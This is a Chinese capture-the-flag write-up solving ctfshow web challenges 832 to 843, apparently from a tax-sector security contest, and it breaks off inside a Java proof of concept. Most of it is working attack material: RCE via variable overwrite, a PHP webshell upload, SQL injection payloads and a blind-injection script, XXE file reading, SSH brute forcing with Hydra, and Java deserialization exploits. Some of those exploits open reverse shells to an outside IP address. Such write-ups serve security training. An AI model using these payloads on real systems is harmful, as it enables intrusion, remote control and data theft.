Ctfshow 税务比武

某省税务比赛题目,

web832

网络安全为人民

1
2
3
4
5
6
7
对过暗号,是自己人
朋友,欢迎你来到网安的世界
在这里你会见到不一样的风景
在这里你会遇到很多有趣而有爱的人
收下这个来自同行者的礼物
ctfshow{518e7701-8d8c-4598-bf3f-7601f0fdb69b}
愿你比赛愉快

web833

恢复源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// admin$ file check.php.bak
// check.php.bak: PHP script text, ASCII text
// admin$ cp check.php.bak check.php
<?php

error_reporting(0);

function getFilter($index=0){
    $filter=["strip_tags","addslashes"];
    return $index?$filter[1]:$filter[0];
}

function getHandle(){
    $filter=getFilter();
    $say=function($array) use (&$filter){
        extract($array);
        $hello=$filter($name);
        return $hello;
    };
    return $say;
}

$msg=getHandle();
$message="hello ".$msg($_REQUEST);




?>

use (&$filter)闭包通过引用的方式继承了外部的$filter变量,利用变量覆盖直接调用函数 RCE

1
2
/check.php?filter=system&name=ls
/check.php?filter=system&name=tac /fl*

web834

注册登录之后没看到有什么 cookie,修改密码之后终于获得了JWT cookie,secret 盲猜是 111111

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJjdGZzaG93IiwibmFtZSI6InRlc3QifQ.-kj-qrzFxD2p717HfS_7GIPF7Wux4-qFiZpsJZyXRhQ

img

抓两个包,一鼓作气才能成功

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /user/reset HTTP/1.1
Host: fb1d236f-2279-4892-b335-9e3de23ed2e0.challenge.ctf.show
Cookie: username=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJjdGZzaG93IiwibmFtZSI6ImFkbWluIn0.FcrF-obaYbX5IeT8CzUwU0EmSw_y1BOfzoX2QaN--4o; JSESSIONID=DB07CFF5804493E2D3478A0BF1F4ACC7
Content-Length: 31
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Origin: https://fb1d236f-2279-4892-b335-9e3de23ed2e0.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://fb1d236f-2279-4892-b335-9e3de23ed2e0.challenge.ctf.show/user/reset
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Priority: u=0, i
Connection: keep-alive

username=test1&password=test123

然后再修改密码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /user/changePass HTTP/1.1
Host: fb1d236f-2279-4892-b335-9e3de23ed2e0.challenge.ctf.show
Cookie: username=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJjdGZzaG93IiwibmFtZSI6ImFkbWluIn0.FcrF-obaYbX5IeT8CzUwU0EmSw_y1BOfzoX2QaN--4o; JSESSIONID=DB07CFF5804493E2D3478A0BF1F4ACC7
Content-Length: 16
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Origin: https://fb1d236f-2279-4892-b335-9e3de23ed2e0.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://fb1d236f-2279-4892-b335-9e3de23ed2e0.challenge.ctf.show/user/reset
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Priority: u=0, i
Connection: keep-alive

password=test123

再登陆即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
欢迎你,admin
这个不需要任何技术的漏洞,
出自国内某知名软件厂商。
每次看到这些东西,我都会想——
网络世界怎么了?
网络世界还会好么?
网络真的有安全么?

我不知道你是否也会迷茫。
但请不要绝望。
因为当我们扛起这面旗帜的那一刻,
除了坚守和胜利,
我们便再没有别的选择。
ctfshow{9887412f-22db-4ee0-8eee-c0bfda323d4a}

web835

admin\123456

1
2
3
4
5
欢迎你 admin

听说这个网站的管理员喜欢把核心源码备份一份,而且有强迫症的他必然会使用hbsw?.zip这个他喜欢的名字。

?为数字。

hbsw7.zip下载源码审计一下,发现就一个PHP文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php

error_reporting(0);
$action=$_GET['action'];

switch ($action) {
    case "upload":
        doUpload();
        break;
    case "include":
        doInclude();
    default:
        "nothing here";

}


function doInclude(){
    $file=$_POST['filename'];
    if(preg_match("/log|php|tmp/i",$file)){
        die("error filenname");
    }
    if(file_exists($file)){
        include "file://".$file;
    }
}

function doUpload(){
    if($_FILES["file"]["error"]>0){
        $ret = ["code"=>1,"msg"=>"文件上传失败"];
        die(json_encode($ret));
    }


    $file = $_FILES['file']['name'];
    $tmp_name=$_FILES['file']['tmp_name'];
    $content=file_get_contents($tmp_name);

    if(filter_filename($file)){
        $ret = ["code"=>2,"msg"=>"文件上传失败"];
        die(json_encode($ret));
    }

    if(filter_content($content)){
        $ret = ["code"=>3,"msg"=>"文件上传失败"];
        die(json_encode($ret));
    }

    move_uploaded_file($tmp_name,"./upload/".$file);
    $ret = ["code"=>0,"msg"=>"文件上传成功,文件路径为  /var/www/html/upload/".$file];
    die(json_encode($ret));
    
}

function filter_filename($file){
    $ban_ext=array("jpeg","png");
    $file_ext = end(explode(".",$file));
    return !in_array($file_ext,$ban_ext);
}

function filter_content($content){
    return preg_match("/php|include|require|get|post|request/i",$content);
}

可以文件上传,这里的waf也基本等于没有

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /api.php?action=upload HTTP/1.1
Host: aa32bbba-5889-49ce-a33e-15703bce13b2.challenge.ctf.show
Cookie: PHPSESSID=e75oqjbf3pe659gtr271342qdj
Content-Length: 205
Sec-Ch-Ua-Platform: "macOS"
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Sec-Ch-Ua: "Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvRFzjsQgqydZtqJC
Sec-Ch-Ua-Mobile: ?0
Origin: https://aa32bbba-5889-49ce-a33e-15703bce13b2.challenge.ctf.show
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://aa32bbba-5889-49ce-a33e-15703bce13b2.challenge.ctf.show/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Priority: u=1, i
Connection: keep-alive

------WebKitFormBoundaryvRFzjsQgqydZtqJC
Content-Disposition: form-data; name="file"; filename="pwn.png"
Content-Type: image/png

<?=system($_COOKIE[1]);?>
------WebKitFormBoundaryvRFzjsQgqydZtqJC--

再包含图片即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /api.php?action=include HTTP/1.1
Host: aa32bbba-5889-49ce-a33e-15703bce13b2.challenge.ctf.show
Cookie: PHPSESSID=e75oqjbf3pe659gtr271342qdj;1=tac FLAG_IS_HERE.php;
Content-Length: 47
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Origin: https://aa32bbba-5889-49ce-a33e-15703bce13b2.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://aa32bbba-5889-49ce-a33e-15703bce13b2.challenge.ctf.show/api.php?action=include
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Sec-Fetch-User: ?1
Priority: u=0, i
Connection: keep-alive

filename=%2Fvar%2Fwww%2Fhtml%2Fupload%2Fpwn.png

回显

1
2
3
4
5
6
7
8
YOUWIN;
ctfshow{e0a36685-5e6b-4c51-8e98-0cbe5c64315d}
拿好你的旗帜,然后我们去看看下一个。
相信我,这只是个开始,
弱口令、文件上传、多么古老的问题。
那么这个发生在我们身边故事已足够震撼
也许,一线大厂和我们有些距离
$success=<<<YOUWIN

web836

二次注入,这里我们选择报错注入来获得回显

1
111' and extractvalue(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()));#

img

再修改密码即可得到回显

img

以此类推,进行注入

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
111' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='app_flag'),0x7e));#

111' and extractvalue(1,concat(0x7e,(select flag from app_flag),0x7e));#

ctfshow{02f5decd-ff03-469a-bf6c

111' and extractvalue(1,concat(0x7e,(select right(flag,20) from app_flag),0x7e));#
'~a-bf6c-c7d7d0f981b8}~'


ctfshow{02f5decd-ff03-469a-bf6c-c7d7d0f981b8}

web837

下载配置文件

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<configs>
    <config name="shutdown">
        <path>/usr/local/bin</path>
        <execute>shutdown.sh</execute>
        <args>-clear</args>
    </config>
</configs>

并且可以上传配置文件,直接打XXE攻击就行了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///flag">
]>
<configs>
    <config name="shutdown">
        <path>/usr/local/bin</path>
        <execute>shutdown.sh</execute>
        <args>&xxe;</args>
    </config>
</configs>

img

web838

发现任意文件读取

1
税务系统长久以来主要使用的系统构建语言就是java,在多次通报的*友软件漏洞中,均提及了其原生反序列化漏洞。

读取配置文件../WEB-INF/web.xml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>Archetype Created Web Application</display-name>
    <context-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>/WEB-INF/applicationContext.xml</param-value>
    </context-param>
    <listener>
        <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
    </listener>
    <filter>
        <filter-name>charset</filter-name>
        <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
        <init-param>
            <param-name>encoding</param-name>
            <param-value>utf-8</param-value>
        </init-param>
    </filter>

    <filter-mapping>
        <filter-name>charset</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
    <servlet>
        <servlet-name>dispatcher</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <init-param>
            <param-name>contextConfigLocation</param-name>
            <param-value>/WEB-INF/dispatcher-servlet.xml</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>dispatcher</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>

</web-app>

读取 servlet 配置文件../WEB-INF/dispatcher-servlet.xml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:mvc="http://www.springframework.org/schema/mvc"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd">

    <context:annotation-config />

    <mvc:annotation-driven/>


    <mvc:resources mapping="/layui/**" location="/WEB-INF/static/layui/" />
    <mvc:resources mapping="/images/**" location="/WEB-INF/static/images/" />
    <mvc:resources mapping="/css/**" location="/WEB-INF/static/css/" />

    <mvc:default-servlet-handler />


    <bean id="defaultViewResolver" class="org.springframework.web.servlet.view.InternalResourceViewResolver">
        <property name="viewClass" value="org.springframework.web.servlet.view.JstlView"/>
        <property name="prefix" value="/WEB-INF/views/"/>
        <property name="suffix" value=".jsp"/>
        <property name="exposeContextBeansAsAttributes" value="true"/>
    </bean>

    <!-- IndexController-->
    <context:component-scan base-package="com.ctfshow.controller"/>
</beans>

读取控制器../WEB-INF/classes/com/ctfshow/controller/IndexController.class

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ctfshow.controller;

import com.ctfshow.entity.User;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
import javax.servlet.http.HttpServletRequest;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
@RequestMapping({"/"})
public class IndexController {
    @RequestMapping(
        value = {"/"},
        method = {RequestMethod.GET}
    )
    public String index() {
        return "index";
    }

    @RequestMapping(
        value = {"/"},
        method = {RequestMethod.POST}
    )
    @ResponseBody
    public String index(HttpServletRequest request) {
        User user = null;

        try {
            byte[] userData = Base64.getDecoder().decode(request.getParameter("userData"));
            ObjectInputStream safeObjectInputStream = new ObjectInputStream(new ByteArrayInputStream(userData));
            user = (User)safeObjectInputStream.readUnshared();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
            return "User class can not unserialize";
        } catch (Exception e) {
            e.printStackTrace();
            return "unserialize error";
        }

        return "unserialize done, you username is " + user.getUsername();
    }
}

给了反序列化接口,读取User类看看../WEB-INF/classes/com/ctfshow/entity/User.class

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ctfshow.entity;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.util.Objects;

public class User implements Serializable {
    private static final long serialVersionUID = 1L;
    private int id;
    private String username;
    private String password;
    private String email;
    private String address;

    public int getId() {
        return this.id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getUsername() {
        return this.username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public boolean equals(Object o) {
        if (this == o) {
            return true;
        } else if (o != null && this.getClass() == o.getClass()) {
            User user = (User)o;
            return Objects.equals(this.username, user.username) && Objects.equals(this.password, user.password);
        } else {
            return false;
        }
    }

    public int hashCode() {
        return Objects.hash(new Object[]{this.id, this.username, this.password});
    }

    public String getEmail() {
        return this.email;
    }

    public void setEmail(String email) {
        this.email = email;
    }

    public boolean isNull() {
        if (null != this.username && !this.username.isEmpty()) {
            return null == this.password || this.password.isEmpty();
        } else {
            return true;
        }
    }

    private void readObject(ObjectInputStream input) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        input.defaultReadObject();
        Class.forName(this.username).getMethod(this.email, String.class).invoke(Class.forName(this.username).getMethod(this.password).invoke(Class.forName(this.username)), this.address);
    }
}

User#readObject直接进行了反射,还需要在User类里面加一个setAddress方法

1
2
3
    public void setAddress(String address) {
        this.address = address;
    }

写出 poc,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.ctfshow.entity;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class web858 {
    public static void main(String args[]) throws Exception{
        User user = new User();
        user.setUsername("java.lang.Runtime");
        user.setPassword("getRuntime");
        user.setEmail("exec");
        user.setAddress("nc 154.36.181.12 12345 -e /bin/sh");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(user);
        oos.close();

        String base64Str = Base64.getEncoder().encodeToString(barr.toByteArray());
        System.out.println(base64Str);
    }
}

web839

反编译APK文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.ctfshow.ctferpro.data;

import com.ctfshow.ctferpro.data.Result;
import com.ctfshow.ctferpro.data.model.LoggedInUser;
import com.ctfshow.ctferpro.util.CryptoJS;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.UUID;

/* loaded from: classes5.dex */
public class LoginDataSource {
    private String authURL = "http://www.xxxx.com/app/auth";

    public Result<LoggedInUser> login(String username, String password) {
        try {
            String uuid = UUID.randomUUID().toString();
            Runtime.getRuntime().exec("curl -d 'username=" + new String(Base64.getEncoder().encode(CryptoJS.encode(username, uuid).getBytes(StandardCharsets.UTF_8))) + "' -d 'password=" + password + "' -b 'uuid=" + uuid + "' -H 'User-Agent: ctfer_pro_app' " + this.authURL);
            LoggedInUser fakeUser = new LoggedInUser(uuid, "用户 " + uuid + " 激活失败");
            return new Result.Success(fakeUser);
        } catch (Exception e) {
            return new Result.Error(new IOException("Error logging in, authURL 应替换为题目URL地址", e));
        }
    }

    public void logout() {
    }
}

看到这里可以进行参数注入,需要POST传参

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.ctfshow.ctferpro.util;

/* loaded from: classes7.dex */
public class CryptoJS {
    public static String encode(String aInput, String key) {
        int[] iS = new int[256];
        byte[] iK = new byte[256];
        for (int i = 0; i < 256; i++) {
            iS[i] = i;
        }
        for (short i2 = 0; i2 < 256; i2 = (short) (i2 + 1)) {
            iK[i2] = (byte) key.charAt(i2 % key.length());
        }
        int j = 0;
        for (int i3 = 0; i3 < 255; i3++) {
            j = ((iS[i3] + j) + iK[i3]) % 256;
            int temp = iS[i3];
            iS[i3] = iS[j];
            iS[j] = temp;
        }
        int i4 = 0;
        int j2 = 0;
        char[] iInputChar = aInput.toCharArray();
        char[] iOutputChar = new char[iInputChar.length];
        short x = 0;
        while (x < iInputChar.length) {
            i4 = (i4 + 1) % 256;
            j2 = (iS[i4] + j2) % 256;
            int temp2 = iS[i4];
            iS[i4] = iS[j2];
            iS[j2] = temp2;
            int t = (iS[i4] + (iS[j2] % 256)) % 256;
            int iY = iS[t];
            char iCY = (char) iY;
            iOutputChar[x] = (char) (iInputChar[x] ^ iCY);
            int temp3 = x + 1;
            x = (short) temp3;
        }
        return new String(iOutputChar);
    }
}

逆向加解密算法才行,简单的魔改rc4算法,发现,加密和解密是同一个方法,相当于我们已经控制任意参数加密,下一步不明白怎么做了,注入的地方给了一部分 header,测试 sql 注入成功,写出脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import httpx
import base64
import time
import string

def rc4_custom(data, key):
    S = list(range(256))
    j = 0
    for i in range(255): 
        j = (S[i] + j + ord(key[i % len(key)])) % 256
        S[i], S[j] = S[j], S[i]

    i = j = 0
    out = []
    for char in data:
        i = (i + 1) % 256
        j = (S[i] + j) % 256
        S[i], S[j] = S[j], S[i]
        t = (S[i] + S[j]) % 256
        out.append(ord(char) ^ S[t])
    return out

def java_utf8_encode(int_list):
    s = "".join([chr(c) for c in int_list])
    return s.encode('utf-8')

def encrypt_payload(plain_text, key):
    rc4_ints = rc4_custom(plain_text, key)
    utf8_bytes = java_utf8_encode(rc4_ints)
    return base64.b64encode(utf8_bytes).decode('utf-8')

target_url = "https://5066e861-f1f9-4628-904f-c156ff0eb83d.challenge.ctf.show/app/auth" 
STATIC_UUID = "123456"

alphabet = string.ascii_letters + string.digits + string.punctuation

def check_boolean(sql_condition):
    payload_fmt = "1' union select 1, if(({}), 1, 0);#"
    payload = payload_fmt.format(sql_condition)
    
    encrypted_username = encrypt_payload(payload, STATIC_UUID)
    
    data = {"username": encrypted_username, "password": "1"}
    cookies = {"uuid": STATIC_UUID}
    headers = {"User-Agent": "ctfer_pro_app"}

    try:
        res = httpx.post(target_url, data=data, cookies=cookies, headers=headers, verify=False, timeout=10)
        return "success" in res.text
    except Exception as e:
        return False

def run():
    print(f"[*] Target: {target_url}")
    table_name = ""
    for i in range(1, 50):
        found = False
        for char in alphabet:
            # sql = f"ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{i},1))={ord(char)}"
            # sql = f"ascii(substr((select column_name from information_schema.columns where table_name='app_f1ag' limit 0,1),{i},1))={ord(char)}"

            sql = f"ascii(substr((select f1ag from app_f1ag limit 0,1),{i},1))={ord(char)}"


            print(f"\rCurrent Table: {table_name}{char}", end="")
            
            if check_boolean(sql):
                table_name += char
                found = True
                break
        
        if not found:
            print("\n[!] 字符未匹配或表名结束。")
            break
            
    print(f"\n\n[+] Found Table Name: {table_name}")
    
    if table_name:
        print(f"[*] 下一步建议: 修改脚本查询表 `{table_name}` 中的字段。")
    else:
        print("[-] 未能跑出表名,可能是 information_schema 被过滤,或者无法访问。")

if __name__ == "__main__":
    run()

web841

给了一个字典,考察 ssh 爆破

1
2
3
4
brew install hydra

hydra -l user -P pass.dic -s 28117 -t 4 ssh://pwn.challenge.ctf.show
ssh user@pwn.challenge.ctf.show -p28117

web842

1
2
3
4
5
python3 -m pip install -i https://pypi.org/simple/ GitHacker


githacker --help
githacker --url https://f8452be2-82a5-4157-9853-9e3ff5fe8ac2.challenge.ctf.show/.git/ --output-folder result

结果失败了,好像是因为它并不是一个 git 仓库

1
2
3
git clone https://github.com/lijiejie/GitHack.git
cd GitHack
python2 GitHack.py https://f8452be2-82a5-4157-9853-9e3ff5fe8ac2.challenge.ctf.show/.git/

得到了源码

1
2
3
4
5
6
7
8
9
<?php

error_reporting(0);

if(isset($_POST['code'])){
	$code = $_POST['code'];
	system("echo $code|base64");
}
//code=1;cat /flag;echo 1

web843

30M的源码,Emm,可以的,看了下依赖,就是一个Spring,啥也没有

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package com.ctfshow.filter;

import com.ctfshow.entity.User;
import com.ctfshow.util.CookieUtil;
import com.mysql.jdbc.NonRegisteringDriver;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.URLDecoder;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.core.annotation.Order;
import org.springframework.jdbc.datasource.init.ScriptUtils;
import org.springframework.transaction.interceptor.RuleBasedTransactionAttribute;

/* JADX WARN: Classes with same name are omitted:
  CookieFilter.class
 */
@WebFilter(filterName = "CookieFilter", urlPatterns = {ScriptUtils.DEFAULT_BLOCK_COMMENT_START_DELIMITER})
@Order(Integer.MAX_VALUE)
/* loaded from: source.zip:WEB-INF/classes/com/ctfshow/filter/CookieFilter.class */
public class CookieFilter implements Filter {
    @Override // javax.servlet.Filter
    public void init(FilterConfig filterConfig) throws ServletException {
    }

    @Override // javax.servlet.Filter
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException {
        String token = CookieUtil.getCookieValue((HttpServletRequest) servletRequest, "token", true);
        if (null != token && token != "") {
            byte[] base = Base64.getDecoder().decode(URLDecoder.decode(token, "UTF-8").replace(" ", RuleBasedTransactionAttribute.PREFIX_COMMIT_RULE).getBytes(StandardCharsets.UTF_8));
            ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(base));
            try {
                User user = (User) objectInputStream.readObject();
                if (null != user && user.getUsername().equals("admin")) {
                    servletRequest.setAttribute(NonRegisteringDriver.USER_PROPERTY_KEY, user);
                }
            } catch (ClassNotFoundException e) {
                throw new RuntimeException(e);
            }
        } else {
            User user2 = new User("guest");
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(user2);
            String cookieToken = new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()));
            CookieUtil.setCookie((HttpServletRequest) servletRequest, (HttpServletResponse) servletResponse, "token", URLEncoder.encode(cookieToken, "UTF-8"));
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override // javax.servlet.Filter
    public void destroy() {
    }
}

这里会进行反序列化,config 类里面有直接可以利用的ProcessBuilder().start()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package com.ctfshow.entity;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;

/* JADX WARN: Classes with same name are omitted:
  Config.class
 */
/* loaded from: source.zip:WEB-INF/classes/com/ctfshow/entity/Config.class */
public class Config implements Serializable {
    private static final long serialVersionUID = 1;
    private String name = "";
    private String path = "";
    private String execute;
    private String[] args;

    public String getName() {
        return this.name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getPath() {
        return this.path;
    }

    public void setPath(String path) {
        this.path = path;
    }

    public String getExecute() {
        return this.execute;
    }

    public void setExecute(String execute) {
        this.execute = execute;
    }

    public String[] getArgs() {
        return this.args;
    }

    public void setArgs(String[] args) {
        this.args = args;
    }

    private void readObject(ObjectInputStream input) throws IllegalAccessException, NoSuchMethodException, ClassNotFoundException, IOException, InvocationTargetException {
        input.defaultReadObject();
        new ProcessBuilder(this.args).start();
    }
}

写出poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.ctfshow.entity;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
import java.net.URLEncoder;

public class web843 {
    public static void main(String[] args) throws Exception {
        Config config = new Config();

        String ip = "154.36.181.12";
        String port = "12345";
        String cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + ip + " " + port + " >/tmp/f";

        config.setArgs(new String[]{"/bin/sh", "-c", cmd});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
